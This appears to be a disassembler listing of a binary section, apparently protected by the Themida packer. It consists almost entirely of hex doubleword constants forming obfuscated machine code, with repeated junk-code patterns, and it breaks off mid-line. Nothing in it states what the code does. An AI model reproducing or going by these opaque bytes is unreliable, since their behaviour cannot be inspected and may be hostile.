dd 7D76C8C3h, 14E938h, 65C00000h, 78A2CCB9h, 0DEE71D22h dd 0B1FE4B09h, 0B2CE69C4h, 7BE9600Bh, 8B000000h, 140C71B5h dd 0A685C706h, 10617C8h, 1000000h, 140C3585h, 60E906h dd 8B660000h, 38C0FF1h, 0F000000h, 85C7F3B7h, 617C8A6h dd 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 19C35040h dd 326960F0h, 0B5CCDAFEh, 5E8ACh, 0E79F0000h, 0E8F947B0h dd 13h, 22AA4322h, 18C1F4A7h, 52EFCCD4h, 41B4C048h, 0FC60E70Fh dd 9D8D5E5Eh, 6141B75h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 14h, 0DAC35242h, 0FEFF2381h, 6AFFFFh, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 972C7AC3h, 662A5EB4h, 6ADB8Ch, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 180424h, 52420000h, 9B4389C3h, 0B50BCD1Bh dd 6142195h, 0F04C3F6h, 5384h, 5E800h, 0A1BE0000h, 89CB2C0Eh dd 1403B18Dh, 95FF5F06h, 6142E45h, 0E990FA8Bh, 6, 0AFDA7364h dd 50503FDBh, 5E952h, 35A30000h, 0FCDACD7h, 10E831h, 82420000h dd 1EE9C2EAh, 0BA451E2Eh, 2B94E6FDh, 850FB96Eh, 0 dd 90585A5Fh, 40BE9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1B04h, 0C3534300h, 0D0A6960Eh, 1E9AF98h dd 14E9h, 4D96D700h, 0CB137666h, 9923A279h, 0B95EF55Eh dd 2FB300D7h, 0AB90BEEDh, 0B02C93h, 0D073E681h, 70E66C3Fh dd 6A71E4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 45B376C3h, 2A119589h, 0B60F0614h, 5E8D8h dd 6D710000h, 2996E813h, 1419C9BDh, 6BA5E06h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 17042444h dd 40000000h, 7FE0C350h, 0BD8B2213h, 6142991h, 0AE9h, 39939600h dd 9065B101h, 8B0C3426h, 50006AC3h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1404h, 0C3504000h, 4E8C13Ah, 14E9h, 0D4DA7600h dd 98AC3406h, 0E40B160Bh, 0C35D777Fh, 303C2F7Ch, 0E2F76610h dd 10E9h, 0A68D4E00h, 0B7BCC31Dh, 0ECE253F8h, 49579691h dd 8BD82B9Bh, 140C9DBDh, 10E85006h, 0B1000000h, 656A048Fh dd 68A3159Bh, 986B6737h, 0E8E4FD80h, 0Ah, 7693E59Bh, 57F4226h dd 8B66C5F9h, 895E5EF3h, 6A241Ch, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 180424h, 57470000h, 82940FC3h, 0BD8BAFFCh dd 6142661h, 0BE9h, 1FDDD800h, 0FF63A16Dh, 48A3B54Dh, 1AA5B5FFh dd 81660614h, 0FF80EFD6h, 14116995h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 4464540Ah dd 1A92D0C0h, 0FB8B6062h, 7E9h, 96B8C500h, 1726C598h, 85B58B61h dd 0B0061403h, 0E5BD8B00h, 0E6061404h, 81BD8B70h, 0E406142Ch dd 2DBD8971h, 3C06140Bh, 25830F61h, 0F000002h, 0B60FFFB7h dd 89B589D8h, 8B06142Fh, 14106DB5h, 6BA06h, 85890000h dd 61409B9h, 6AC38Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 140424h, 57470000h, 9D01FDC3h, 6141129h, 6604E8C1h dd 0F766F08Bh, 53006AE2h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1C04h, 0C3534300h, 401AE8A7h, 4530B784h dd 6585899Ch, 2B061404h, 51006AD8h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1804h, 0C3514100h, 60E99C91h, 0A99D89E8h dd 58061414h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 18h, 67C35343h, 2F85F280h, 431BD29h, 0D82B0614h, 15A880Fh dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h dd 52420000h, 0F604EC3h, 384h, 97DD8000h, 0B9615850h, 7 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0DFC35343h dd 0FAAAD4Fh, 480h, 56BE6600h, 0C18353h, 1C458589h, 81660614h dd 3B180DD6h, 0ED860FD9h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1B042444h, 40000000h, 463BC350h dd 0F7D17448h, 8C660C5Ch, 56006AD9h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 14D7810Fh dd 0BE24581Bh, 3CA845FCh, 0F04C1F6h, 8C84h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 96BF0EF2h, 0CA02D8A5h, 0CE9h, 0A9A81400h, 1EA16E23h dd 0F891F696h, 0FFFB8B9Dh, 142E4595h, 0B52B5B06h, 6140611h dd 2A858589h, 0C32B0614h, 343DF18Bh, 0F000008h, 3486h dd 0DE900h, 62E50000h, 0BC4F88EFh, 0B7924703h, 0E97AB77Eh dd 28h, 0DE8h, 795E3500h, 3AE6EBBFh, 0F3355722h, 8B0FEDABh dd 0 dd 0F78B535Fh, 0FC08B5Eh, 0B589F3BFh, 614230Dh, 0D88BC38Bh dd 321D8589h, 85C70614h, 6140231h, 191D6D37h, 8B0FC08Bh dd 7, 80616060h, 81617BC3h, 141AA5BDh, 7D006h, 0F850F00h dd 66000000h, 0FF89E9BFh, 141AA585h, 70DFBE06h, 0B5FF1E77h dd 6141AA5h, 10E8h, 7693E500h, 57F4226h, 44CDC5F9h, 0D4E2EB4Bh dd 8D89522Eh, 6140475h, 95FF5E5Fh, 6141169h, 3880Fh, 8B660000h dd 0CDB503F8h, 9006141Ch, 9B58B40h, 8306140Ch, 141CD1BDh dd 840F0006h, 0BDh, 0E0BB6DBFh, 0D9BD836Eh, 61403h, 0AB840Fh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h dd 51410000h, 0B604DBC3h, 3EC648F8h, 0BD8BF5D8h, 614090Dh dd 1CD195FFh, 6A0614h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 0F96D67C3h, 840FC00Bh, 55h, 6830Fh dd 95310000h, 6141021h, 4D798D8Dh, 6A0614h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 0B40BC6C3h dd 0D4ED4122h, 319D0103h, 0B806141Bh, 5, 0EE9E1FFh, 4D000000h dd 49C0930Fh, 56BE2F6Eh, 16EBCF6Fh, 4DBD832Bh, 6140Eh dd 66A840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 140424h, 50400000h, 840F13C3h, 6, 1D71BD8Bh, 0BE660614h dd 0BD834CE1h, 61403D9h, 31840F00h, 6A000006h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h dd 0C5FCC351h, 218D8DD2h, 6A061411h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 3F3EC357h dd 4720BF88h, 66609F69h, 23CBEF81h, 6145F080h, 7C8401C7h dd 6A44B2h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h dd 57470000h, 71501EC3h, 85FC603Dh, 8B53CAC9h, 0CB0181FEh dd 6A1499CFh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1A042444h, 43000000h, 0DF0EC353h, 7587AD1Ah, 0F5BD890Ch dd 0C706140Ch, 6B340441h, 6ACE70h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 160424h, 53430000h, 0EE44DAC3h, 10044181h dd 8931D6D7h, 141BE185h, 6A006A06h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 0A530C356h dd 9FB70972h, 0BF6635D4h, 858DECE0h, 6141121h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 59C35747h, 5502A500h dd 539060EDh, 6A90505Fh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 576CC355h, 0E82DB54Fh dd 7, 423107F7h, 53863550h, 21B18589h, 5F5F0614h, 0BDA5EF81h dd 95FF1E8Dh, 6140E4Dh, 11218D8Dh, 8B660614h, 75B58BF1h dd 0C7061409h, 1, 35BD0B00h, 0C7061434h, 441h, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 23B902C3h, 0AE8FEh, 0F28B0000h, 99EF79AEh, 449EC102h dd 2810Fh, 61600000h, 0FC00B5Eh, 8084h, 0D9B50900h, 8D061410h dd 144D798Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1904h, 0C3574700h, 2F7CC35Dh, 0BD8B303Ch, 61421C5h dd 5B8h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1D04h, 0C3554500h, 0BA1AFAE8h, 0E837D3DCh, 0BF0F8CCAh dd 6AE1FFFEh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 8464C356h, 218D8D5Bh, 6A061411h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h dd 46000000h, 0DC79C356h, 896A0058h, 0AC3E32A9h, 5EEEC681h dd 1C71CB5h, 44AA727Ch, 0E8F3BF0Fh, 0Fh, 0D9B8CE4Fh, 673A6DEEh dd 2B2601F4h, 0FE1AF40h, 58Ch, 0CF816600h, 815EB8B3h, 99CFCB01h dd 0A9958914h, 0C7061406h, 753C0441h, 0DE8CE78h, 0E0000000h dd 7DFE5F70h, 7CFA9270h, 0E7769234h, 441815Fh, 31D6D710h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 74C35040h dd 0C6F35A0Ch, 9EC61E7h, 142B4D9Dh, 66006A06h, 35D7F681h dd 0B018589h, 858D0614h, 6141121h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 18h, 0F1C35545h, 0EB38C293h, 0F8BF0F60h dd 0DC5E35BEh, 23BE6153h, 900EEABCh, 6650F38Bh, 906BA6BEh dd 13CD8D29h, 66600614h, 51C83DB8h, 19FD8D8Bh, 615F0614h dd 0E4D95FFh, 8D8D0614h, 6141121h, 9E8h, 0EC987700h, 28E3C667h dd 0B52BA71Ch, 6142F75h, 830F605Eh, 6, 2E799D8Bh, 13E80614h dd 0CF000000h, 0F9D04D30h, 4813CDDAh, 69D12E9Bh, 253EDDB1h dd 9D8BDE8Eh, 61413E1h, 1C7615Eh, 0 dd 4FCF8166h, 556CBE97h, 41C73AD6h, 4, 0FC00B00h, 5D84h dd 8DBD8B00h, 8D061403h, 144D798Dh, 9BD0106h, 0B806140Bh dd 5, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h dd 1CC35343h, 49B58BACh, 0FF061408h, 57006AE1h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 0BF66A18Ch dd 8D8DD4B0h, 6141121h, 0C7F6B70Fh, 0CA95A501h, 51006A54h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 8166106Ah, 81DF9FE6h, 99CFCB01h, 52006A14h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 441C761h, 0CE5F5969h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0D6C35141h dd 5C2231E7h, 81FAE249h, 0D7100441h, 8B6031D6h, 14053585h dd 0D1BD8906h, 61061403h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1B0424h, 55450000h, 786D54C3h, 0B5A3D097h dd 858DF819h, 6141121h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 15h, 0A5C35545h, 3850F01h, 66000000h, 5090F08Bh dd 0CE8h, 9A7F9100h, 0FEAA87FCh, 0F7C78002h, 0F18B6602h dd 6A905Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h dd 56460000h, 0CB43B9C3h, 896FC0C9h, 6820Fh, 0BD8B0000h dd 6141BE9h, 0E4D95FFh, 6A0614h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 190424h, 52420000h, 9DE983C3h, 0E994420Dh dd 10h, 835E7F35h, 6ADED69Eh, 0B0D89347h, 0A4CE838Eh, 11218D8Dh dd 6A0614h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h dd 52420000h, 0BE51C3h, 1C750h, 0B000000h, 1434E1BDh, 0E9FC6006h dd 9, 0D56E0F52h, 7480D972h, 41C761E9h, 4, 0CDB58900h dd 0B06141Fh, 45840FC0h, 66000000h, 0BBC4E681h, 4D798D8Dh dd 0D6810614h, 3B234F4Eh, 0D3C78166h, 5B85Dh, 0B70F0000h dd 6AE1FFFAh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 0FB81C350h, 95895B2Ah, 6141161h dd 0DE9CA03h, 6AFFFFF2h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 15042444h, 43000000h, 0D36EC353h, 2919589h dd 0C18B0614h, 3C8DBE66h, 4EBh, 8E90000h, 8A000000h, 346D98EEh dd 6A243DCDh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1B042444h, 43000000h, 0B3C353h, 0BD07737Fh, 8D0FC778h dd 11h, 0CE9h, 0B6135300h, 0C001864Dh, 392105F7h, 99858D97h dd 6A06140Fh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 57E0C351h, 5C5B1563h, 2BD19589h dd 0B58B0614h, 6141131h, 8E20BF66h, 8E990h, 0AB340000h dd 11A0B9Ch, 9050510Ch, 6AF78B66h, 0D19D8900h, 6A061416h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h dd 0C3554500h, 24311123h, 8DD3876Bh, 17DA9A85h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 0F2A002DEh, 89A344E5h, 5C08390h, 4DBE6690h, 5E950A2h dd 0BE000000h, 0FA68F091h, 0B1B58990h, 6A061414h, 6A006A00h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h dd 46000000h, 202CC356h, 23C01AAh, 0F59D6146h, 8E8h, 77A7BB00h dd 58196715h, 4BEF8197h, 5E0AB3F2h, 1A7195FFh, 6A0614h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 660C85C3h, 8D2540BEh, 17A8FC9Dh, 0B59D8906h, 0FF06141Fh dd 53006AD3h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h dd 0C3534300h, 58E6E93Ah, 236D85FFh, 12E90614h, 0A2000000h dd 756E6F8Fh, 7426501Dh, 0FCED3927h, 38CD7180h, 85EE99Ch dd 0E80000h, 5D000000h, 0DAA4ED81h, 6A0617h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 4E1C01C3h dd 0FF59CD98h, 1A95B58Bh, 0BD810614h, 6141AA5h, 7D0h, 11E860Fh dd 8B660000h, 25BD89F0h, 8B06140Eh, 1405319Dh, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 4787CF3Bh, 0DA006866h, 0E3813Eh, 8B000001h, 143431BDh dd 0B98D0106h, 0B06142Fh, 0AC850FDBh, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h dd 0CE52C352h, 0A59968E5h, 625DE451h, 344DB58Bh, 0BD830614h dd 617D8E7h, 17840F00h, 89000000h, 1423D19Dh, 76E906h dd 8A0F0000h, 6, 23019529h, 85C70614h, 617D8E7h, 1, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0C1C35646h, 240A965Ah dd 251DB58Bh, 8B660614h, 32E9F2h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 170424h, 57470000h, 23B902C3h dd 97E681FEh, 0C759C0C6h, 17D8E785h, 6, 0F98B6600h, 5319D8Dh dd 880F0614h, 0 dd 0FEFF2381h, 0B523FFFFh, 61418C1h, 6ADB8C66h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h dd 3F63C350h, 8B668907h, 4C3F6F3h, 3B840Fh, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h dd 0FFD0A3C3h, 8BB5A850h, 140689BDh, 4595FF06h, 6606142Eh dd 0FEDEEF81h, 0B905090h, 142465B5h, 49FE906h, 0B58B0000h dd 6141C69h, 6A00B0h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1B0424h, 52420000h, 806051C3h, 0A50460F5h, 21E781DEh dd 8B40FD18h, 6A70E6F0h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1A042444h, 41000000h, 0CA82C351h, 0D1E6E05Eh dd 399589D1h, 0E4061425h, 19858971h, 0F06140Ah, 0DE9D8B6h dd 4D000000h, 0B590EA08h, 52F46208h, 9D6D63AFh, 6BAh, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 8BFC4344h, 141671B5h, 6AC38B06h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 22E6C355h dd 74FD94Bh, 9B7AB819h, 0CE9h, 0D7179C00h, 0C9AE829Eh dd 9B5CB4ADh, 4E8C1C2h, 66F9B70Fh, 860FE2F7h, 5, 0C8AE90BFh dd 6AD82B75h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 15042444h, 47000000h, 0E1EFC357h, 14918589h, 0B58B0614h dd 6142C5Dh, 241C8950h, 0FEDF47BFh, 9DB58B49h, 0FF061420h dd 141AA5B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1804h, 0C3524200h, 0DE6FBFDDh, 91952901h, 0E9061411h dd 12h, 1E559D01h, 26D4BA62h, 6ECBE2C0h, 0B64BC119h, 95FFE195h dd 6141169h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Bh, 39C35242h, 0D9374A93h, 2919D413h, 142211B5h, 900B006h dd 1423058Dh, 8B70E606h, 8B71E4F8h, 141149B5h, 0F613C06h dd 2E883h, 10E800h db 0 byte_586A09 db 0, 52h, 9Ch ; DATA XREF: Themida_:0054AFCCo dd 0BC9634E0h, 9D67C918h, 0F44D8CEBh, 0BD8BD5D7h, 6140EF9h dd 6E85Eh, 0BA550000h, 0F3213FEDh, 0D8B60F5Eh, 13E9h, 2E251E00h dd 6E188B7Bh, 0C30D0488h, 69D3AE2Ch, 0E9EF4973h, 6BAh dd 0BE800h, 53E80000h, 37195C12h, 705119DEh, 0CE816666h dd 8B5F884Bh, 998FBFC3h, 0E8C128F5h, 0A1B58B04h, 6606141Dh dd 6AE2F7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 962ADCC3h, 0F11AE1Ah, 687h, 8D8D8900h, 2B06140Dh dd 51006AD8h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h dd 0C3514100h, 522CC7CFh, 8531F3D7h, 61418F9h, 52006A58h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 9410ACECh, 0EE9h, 35354900h, 0E326C949h, 9AA01AC8h dd 0BE0231C7h, 74D6859Eh, 880FD82Bh, 1E1h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 35C35343h, 2D929501h dd 0BEBD299Dh, 77748762h, 7B9h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1404h, 0C3514100h, 89B58B73h dd 83061422h, 0BD0300C1h, 6142E81h, 860FD93Bh, 181h, 8BD98C66h dd 1402DDBDh, 0ADB58B06h, 0F6061419h, 840F04C1h, 129h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 48C35646h dd 7202708Dh, 0C68166D0h, 0BD89B271h, 6142351h, 2E4595FFh dd 6A0614h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h dd 56460000h, 60447AC3h, 6810Fh, 840F0000h, 0 dd 93DBD23h, 5B610614h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 17h, 95C35545h, 297F1822h, 1406719Dh, 6AC32B06h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h dd 46000000h, 4BD5C356h, 0A2421BFAh, 554B9EDEh, 14ED9D09h dd 81660614h, 3D4A32CEh, 834h, 63860Fh, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 595F01C3h, 4D80C8B9h, 897EC520h, 1418C5BDh, 73E906h dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 0B7910FC3h, 0F158DB7h, 0C84h, 7E900h, 3B510000h dd 0BC50F30Ch, 6AC08BB2h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 0CC81C352h, 9D41320Ah dd 0E9127515h, 0Ah, 0EB63AD3Eh, 0A36B7DAh, 860FC8C4h, 5 dd 0BCD68166h, 8BC38B15h, 35B503D8h, 0C706140Ch, 141B7585h dd 7EE5BB06h, 9E93Ah, 0CA860000h, 0CF8E44FAh, 8B98E090h dd 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h dd 0C3564600h, 0F0BEC122h, 0E908579Fh, 14h, 86FD9ABh, 6F4ADB3Ch dd 9F3EF773h, 0FF2529D5h, 0F755AC9Fh, 1AA5BD81h, 7D00614h dd 850F0000h, 0Eh, 0FFF6B70Fh, 141AA585h, 6E32BF06h, 0B5FF55A7h dd 6141AA5h, 116995FFh, 6A0614h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1D0424h, 52420000h, 9D84F6C3h, 6D96B73Ah dd 667FE8B2h, 90F696BFh, 14E8h, 0BC494E00h, 0CA84F5h, 521DAFECh dd 5A99179Eh, 12AF5BBEh, 8ABF6620h, 5E81Eh, 996A0000h dd 29CB5E37h, 141CFDBDh, 8B5E5E06h, 52006AFEh, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 1DBD33AFh dd 8B061420h, 143501BDh, 5D952906h, 0F061422h, 3581h, 0FE800h dd 40880000h, 0E7641522h, 8F4A7B3Fh, 93CF8787h, 6E980h dd 9C0E0000h, 17E9ADDCh, 10E9h, 89B81E00h, 9228A9EFh, 0EC3681C2h dd 8A147985h, 0E6815E19h, 0D811100h, 47C08160h, 5366695Ah dd 820Fh, 61600000h, 0F18B615Fh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ch, 0C1C35747h, 0DF3750B4h, 3029C6CDh dd 0BD33F78Bh, 6140D4Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 17h, 73C35545h, 0E9CA4233h, 0Ah, 0BE9DA013h dd 0F5790434h, 0EE8029Fh, 3B000000h, 733714A4h, 6051E9DFh dd 460F580h, 8D8951A5h, 614217Dh, 9D89565Eh, 6143455h dd 0A7E95E5Eh, 0BFFFFFF7h, 75B450F6h, 6AC18Bh, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 0DEEB37C3h, 4EBh, 8E0F0000h, 6, 830Fh, 95890000h, 6142D65h dd 0A0A9BE52h, 8D5E0960h, 140F9985h, 52F28B06h, 0B1A0BE66h dd 0E960905Eh, 14h, 4A7DA828h, 0F7F3C1F1h, 3244EEBEh, 8B181ECBh dd 30907F67h, 28C0Fh, 61600000h, 33905061h, 141A5DBDh dd 60006A06h, 25C58529h, 0BF0F0614h, 6A61D9h, 0A29B589h dd 858D0614h, 617E493h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Bh, 0FAC35747h, 2D3D8CBBh, 0F854B6Eh, 688h dd 71858900h, 0E9061430h, 12h, 44CA1022h, 627C48DEh, 70DB12A0h dd 34796580h, 0C08376F9h, 71BD0105h, 90061423h, 0EE9h dd 58CC8F00h, 0C694F390h, 6B4D2DC2h, 50F55CCEh, 55006A90h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 6EAC22A1h, 6A5287B4h, 6E900h, 0FC800000h, 3CB1C6A5h dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 37D7B6C3h, 898E7EDCh, 142585B5h, 7195FF06h dd 8B06141Ah, 0FC9D8DF1h, 8B0617A8h, 141191BDh, 0F8D3FF06h dd 236D85FFh, 6A0614h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1A0424h, 51410000h, 5B0605C3h, 8AD98C17h, 2BB5B58Bh dd 2CE90614h, 0E8000008h, 0 dd 9DED815Dh, 6A0617E4h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 2817C355h, 2ABEC0E0h dd 81113159h, 141AA5BDh, 7D006h, 5860F00h, 6A000001h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h dd 3845C352h, 0BD235724h, 6142301h, 0C99D8B5Eh, 8B06141Ah dd 1406EDBDh, 0E38106h, 0B000001h, 74850FDBh, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h dd 42000000h, 89E6C352h, 0D78166FDh, 0BD83D66Dh, 617E31Fh dd 23840F00h, 0E9000000h, 13h, 0F27B4742h, 37036C3Eh, 0E67CAC98h dd 9CA1BC35h, 0E994F719h, 37h, 1165B52Bh, 85C70614h, 617E31Fh dd 1, 810Fh, 1CE90000h, 8B000000h, 0C9B460F8h, 1B798D89h dd 0C7610614h, 17E31F85h, 6, 41BD2300h, 8D061409h, 141AC99Dh dd 9E906h, 0DB320000h, 0B7D1B450h, 81AFA577h, 0FFFEFF23h dd 52006AFFh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h dd 0C3524200h, 0EFF2B25Fh, 76588218h, 0F88B664Dh, 6ADB8C66h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 0AE12C353h, 0C48D54D9h, 0C3F6AAC5h, 5D840F04h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1B042444h, 40000000h, 71BC350h, 0AFBA1D5h, 0BD8B2517h dd 61423BDh, 157D8D29h, 95FF0614h, 6142E45h, 2625BD8Bh dd 89500614h, 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 160424h, 51410000h, 397D51C3h, 40DE9h, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 391406B4h, 85A922CCh, 0BD8B00B0h, 61400ADh, 0E68170E6h dd 9983FA7h, 0BF6671E4h, 0B60F60FEh, 50006AD8h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 0E58D294Ch dd 0F5061423h, 6BAh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1B04h, 0C3554500h, 748646E1h, 0F727BC7h dd 11870F53h, 0E9000000h, 0Ch, 0FBDB3B86h, 1F0601D4h, 76AB46DCh dd 0FC38B5Eh, 187h, 0E8C1FC00h, 6E904h, 8AA0000h, 5CD4E811h dd 6AE2F766h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1D042444h, 40000000h, 0F6B9C350h, 28029682h, 0E46D4825h dd 94DB523h, 0D82B0614h, 20FDB533h, 8B500614h, 241C89F7h dd 0D158529h, 0CE90614h, 0D7000000h, 936610CEh, 127E98C9h dd 0FF2F0F99h, 141AA5B5h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 0BA6C47ADh dd 66D33BBEh, 6B66DF81h, 116995FFh, 6A0614h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 170424h, 53430000h, 0BDC796C3h dd 0F00B0B8h, 1A8Fh, 3BB46000h, 11E9h, 4B8D6500h, 0DA395AD2h dd 0B3CDFA8Dh, 0B03B65CAh, 0E661D74Bh, 56006A70h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 6DEA4F06h, 5EA584BEh, 0BD8BC9A9h, 6140FE5h, 7FBF71E4h dd 3C557EF5h, 53830F61h, 0BF000002h, 53BBA622h, 0E9D8B60Fh dd 0Ch, 0B4B564B3h, 75ACBFA4h, 42BFDA23h, 6BAh, 68BE6600h dd 6AC38B27h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 0BFDDC350h, 592F6521h, 6A04E8C1h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h dd 42000000h, 801EC352h, 9217B1C3h, 29A19589h, 0F7660614h dd 6AD82BE2h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 18042444h, 46000000h, 20F9C356h, 58095FF1h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 8EC35747h, 0FDED0BCh dd 68Bh, 0E19D8900h, 29061420h, 14221DBDh, 0FD82B06h, 18588h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h dd 0C3504000h, 6E87Bh, 22E20000h, 5B66C8EFh, 0E966D681h dd 